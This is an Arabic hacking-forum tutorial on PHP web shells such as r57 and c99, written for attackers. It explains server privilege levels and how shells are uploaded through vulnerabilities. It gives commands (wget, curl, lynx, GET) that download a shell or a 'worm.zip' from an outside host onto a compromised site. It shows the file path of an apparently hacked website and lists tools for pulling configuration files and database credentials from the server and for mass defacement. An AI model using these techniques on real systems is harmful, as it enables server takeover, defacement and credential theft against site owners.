ماهو الشل ؟ وماهي أوامره؟ وماهي أدوات سحب الكونفيقات؟

السلام عليكم معكم  MBARK TiéSTO

كثير من الإخوان سئلوني عن الشل ومعناه وأيضا سألني أحد الإخوة على الفيس بوك حول معنى الكونفيق لذالك إضطررت لكتابة هذا الموضوع والذي سنتحذثفيه بشكل مفصل عن الشل وأنواعه وأوامره وأيضا لن ننسى الكونفيقات،فأتمنى أن ينال الموضوع إعجابكم.

وأعتذر إذا قمت بدمج اللغة العربية بقليل من المصرية والشرقية عموما حتى يفهم الكل وهذا هو هدفي الأول (:ماهو الشل؟

وهو عبارة عن سكربت مكتوب بلغة php***** ويعمل الشل كوسيط بينك وبين النظام الذي هو Linux حيث يستقبل الاوامر منك ويرسلها الى السيرفر المخترق وتعرض نتائج الاوامر على الشل.
ما هو استخدامه ؟ 
الان الكل يسمع عن الشل وما يعرف شنو استخداماتهوانا اقولك له استخدامات كثيرة فنحن الهكرز نستخدمه في السيطرة على السيرفرات !!
والان جينا للمفيد يستخدم للسيطرة على السيرفر واحيانا السيطرة بشكل كامل على السيرفر والتنقل بالسيرفر ووتصفح ملفاته والتعديل عليها واحيانا يستخدم فى فك الزاند وهذا حسب صلاحياتك على السيرفر
واكيد راح تقولي ايه هيه صلاحياتي ؟؟
وانا اقولك الصلاحيات يعني انت ايه على السيرفر يعنى ايه موقعك عليهالصلاحيات على السيرفر
1- Root اي انت مدير السيرفر يعني خلاص مافي شي يوقف قدامك تحذف تعدل تضيف حساب على السيرفر وكذا2- User هنا صلاحياتك على الموقع الي انت رافعلة شل فقط اكرر على الموقع الي انت رافعلة شل فقط اي تعدل تعطي تصاريح الا اذا انتقلت لحالة الرووت3- no****, http, apache هنا كلها نفس الشي ما تقدر تحذف ملفات او تعطي تصاريح للملفات ولكن هذه الصلاحيات فيها ميزة حلوة وهيانك تقدر تتصفح الحسابات الي على السيرفر اي المواقع التي على السيرفر عكس صلاحيات اليوزر حيث صلاحياتك على الموقع الي انت رافعلة شل فقط
ولكن في سؤال مهم وهي اكيد انت راح تقولي كيف اعرف صلاحياتي على السيرفر؟وانا اقولك وانت في الشل تكتب id لمعرفة صلاحياتك وهو امر لينكس
ومن الكلام الي سبق اكيد انت استنجت شي وهي انك حتى تشغل الشل لازم ترفعة على موقع واكيد في سؤال بالطريق وهو
كيف ارفع الشل على موقع؟

وانا اقولك ولا يهمك يتم رفع الشل عن طريق الثغرات واكيد راح تسأل وتقولايه هي الثغرة؟ وانا اجاوبك مع انك مللتني من كثر اسالتك الثغرة: وهي عبارة عن خطأ برمجي وضعف امني يساعدك في دخول نظام معين واختراقه وهذا الخطأ يمكننا استغلاله في أن نجعل النظام يقوم بتنفيذ أوامرنا التي نعطيها إليه واحيانا تساعدك الثغرة في الانتقال من حالة الى اخرى اي مثلا من نوبدي الى رووت حسب نوع الثغرة والثغرات تكون مكتوبة بلغة السي او البيرل او php الخ.....
والان الحمد لله عرفتوا شنو الثغرة ولنفترض انك تمكنت من رفع شل على موقع ولكن اكيد انت تبي تعرف 
والان بعد ما الكل عرف ما هو الشل وانواعة واستخداماته راح اشرح لكم الشل الروسىr57***** الشل الروسي الغني عن التعريف الذي انا افضله من بين كل هذه الشلات وهو يحتاج الى اوامر لينكس ولكن فيه اوامر البحث عن ملفاتالكونفك واوامر سحب الملفات اي الدوال لسحب الملفات جاهزة كلها وفيه ميزة تحميل ملفات من جهازك الى الموقع المخترق من خلاله واما الاصدار الجديد منه (موجود في المنتدى اصداره الجديد منزله الاخ متكي ورا الشمس)فقد اضيفت له ثغرات وشغلات جميلة اكتشفها بنفسك 
الان اليكم الشرح حسب الترقيم في الصورة:1- phpinfo هنا لمشاهدة البرامج المثبته على السيرفر وسوف اشرحها في درس اخر2- السيف مود اوف والسيف مود هو حالة امنة يتم تفعيلها على السيرفر لمنع تطبيق الدوال.3- اصدار الينكس للسيرفر المخترق مع اخر تحديث له وهو 20054- id وهو كما ذكرت صلاحياتك على السيرفر وهي نوبدي5- pwd مسارك على السيرفر اي مكان تواجدك
- هنا تكتب امر اللينكس مثلا id لمعرفة صلاحياتك2- هنا المسار الذي انت عليه او اكتب pwd لمعرفة مسارك3- هنا للتنفيذ اي عند كتابة امر اللينكس اضغط على هذا المستطيل (بالعربي اكتب الامر واضغط انتر)والان اشرح لكم دوال سحب الملفات والان اليكم الشرح وسوف اشرح على الدالة wget في البداية كشرح خفيف لمعرفة ان الدالة wget شغالة يجبكتابة الامر which wget 
وكما تلاحظون كتبنا الامر which wget في مربع تنفيذ الاوامر ونضغط انتر وشوفو النتيجة:
والان كما تلاحظون ظهر لنا الرد الذي في الصورة وهو usr/bin/wget/ اي ان الدالة شغالة والان نكتب امر السحب ولكن قبل كل ذلك يجبان تتأكد من ان المجلد الذي سوف تسحب الشل له يملك التصريح 777 
كما تلاحظون الاختيارات:1- هذا هو التصريح 777 الذي يجب ان يكون بدون شرطات كما في الصورة2- هذا الاختيار هو المجلد الذي سوف نسحب له الملف الذي نريدوالان كل شي جاهز المجلد ذو التصريح والملف الذي سوف نسحبه وانا هنا سوف اسحب الشل ch99 للتوضيح لا اكثر ويمكن انت بهذه الطريقة ان تسحبالاندكس الخاصة بالاختراق او اي شي اخر والان اكتب في مكان تنفيذ الاوامر 
كود:wget http://www.xxx.com/*****.zipوالشرح للايعاز wget دالتنا التي سوف نسحب بها الملف والموقع الذي بجنبها رفعنا له الشل مضغوط علشان نسحبه للموقع المخترق وعند كتابة الايعاز لن يظهر لك اي ردوالان نحن رفعناه مضغوط فيجب فك ضغطه بالايعاز unzip *****.zip كما تلاحظون الرد المحاط بالاحمر يدل على نجاح العملية والان ماذا لو لم تعمل هذه الدالة؟
اقولك ولا يهمك في دوال غيرها مثلا دالة curl ايضا اذا اردتالتحقق من ان الدالة تعمل ما عليك الا كتابة which curl واليكم شرح بعض دوال السحبولنفترض ان الملف الذي نود سحبه هو worm.zip نبدا بالاداة lynx وطريقة سحب الملف كما يلي


كود:
lynx -source www.xxx.com/worm.zip > worm.zipوالاداة curl استخدامها كالتالي


كود:curl -o worm.zip www.xxx.com/worm.zipواخيرا الدالة get استخدامها كالتالي
كود:GET www.xxx.com/worm.zip > worm.zipوكما شرحنا سابقا site.com هو الموقع الذي رفعنا الشل مضغوط له واذا اردتم معلومات اكثر عن رفع الشل شوفوا موضوعي في قسم المواضيع المتميزة لرفع الشلوالان نكمل شرح الشل الروسي لنفترض انك عندك ملف وتبي ترفعة للسيرفر والملف على جهازك هتعمل اية؟؟؟
الاختيار 1- هنا لاختيار الملف من جهازك ومعناه استعراض brouse2- هذا الاختيار معناه رفع اي عند الانتهاء من اختيار الملف من جهازك اضغط عليه والان شرح خفيف عن المسار الذي نحن فيه؟؟

/كود:mounted-storage/home10/sub001/sc15759-CYAT/adult-city.ws/html

كما تلاحظون المسار الذي نحن فيه نحن لسنا على المجلد الرئيسي واكيد را تقولي شلون عرفت؟؟ وانا اقولك المجلد الرئيسي اما انه يكون public_htmlاو يكون على اسم الموقع كما في مسارنا او يكون www والي اخره حسب السيرفر والحين عرفتوا احنا ليش مو على المجلد الرئيسي ولكن اكيد راح تقولي ابي اصيرعلى المجلد الرئيسي وانا اقول تامر امر احذف المجلد html واكتب الايعاز التالي


كود:cdكود:/mounted-storage/home10/sub001/sc15759-CYAT/adult-city.ws/مثل ما شفتوا حذفنا المجلد html وكتبنا الايعاز cd وهو يستخدم للدخول الى مجلد معين وتغيير المسارة.

وبالنسبة للكونفيقات وسحبها

فهناك 4 طرق لسحب كونفقات السيرفر
حل جميع مشاكل سحب الكونفقات
الشرح الاول استخدمنا اداة سحب الكونفقات المبرمجة بلغة بيرل

طبعا هاي الطريقة المستخدمة دائما 

***************************************************************

الشرح الثاني بنحل مشكلة البيرل عندما يكون لايدعم بيرل عن طريق 
استخدام اداة سحب الكونفقات مبرمجة بلغة php
***************************************************************
الشرح الثالث بنستخدم اداة mass defacer
اداة قوية في سحب الكونفقات بس في بعض السيرفرات ماتنفع
***************************************************************
الشرح الرابع بنستخدم طريقة سحب اختصار للسيرفر
باداة symlink3

هاي الطريقة تعتبر من اقوى الطرق في السحب 
****************************************************************
وايضا طريقة التعامل مع الكونفقات والاتصال بقاعدة البيانات 
واختراق المواقع بها 

التحميل الادوات مع الشروحات 

من هنا

والمقدمة من طرف الأخ  مندس هكر .